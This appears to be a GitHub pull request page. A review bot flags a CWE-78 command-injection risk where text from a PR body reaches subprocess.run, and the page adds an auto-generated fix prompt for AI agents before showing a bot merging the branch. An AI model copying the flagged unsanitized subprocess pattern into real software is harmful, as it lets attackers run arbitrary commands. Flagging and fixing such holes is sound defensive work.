[error] 143-150: Use of unsanitized data to create processes
Context: subprocess.run(
list(command),
cwd=cwd,
text=True,
capture_output=True,
env=env,
timeout=timeout,
)
Note: [CWE-78].

(os-system-unsanitized-data)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@scripts/check_deliberate_break.py` around lines 133 - 151, The `_run()`
function accepts an arbitrary `command` parameter that originates from
user-controlled PR body input (parsed at the call site around line 91), which is
then passed directly to subprocess.run() allowing execution of any binary.
Restrict command execution to a predefined set of allowed commands or derive the
command only from the test_id parameter instead of accepting arbitrary command
input from the PR description. Implement this validation either by modifying the
`_run()` function to only accept specific predefined commands or by changing the
command construction logic at the call site to ensure commands are built from
safe sources like test_id rather than directly from user input.

@stranske-keepalive
stranske-keepalive Bot merged commit b3bef59 into main Jun 20, 2026
74 of 80 checks passed
@stranske-keepalive
stranske-keepalive Bot deleted the sync/workflows-536a715df8b0 branch June 20, 2026 01:56

This branch was previously deployed

1 inactive deployment
agent-standard — 5e331210 Deployed Jun 20, 2026 by stranske via Update keepalive summary #557
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

automated Automated sync from Workflows sync Automated sync from Workflows

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant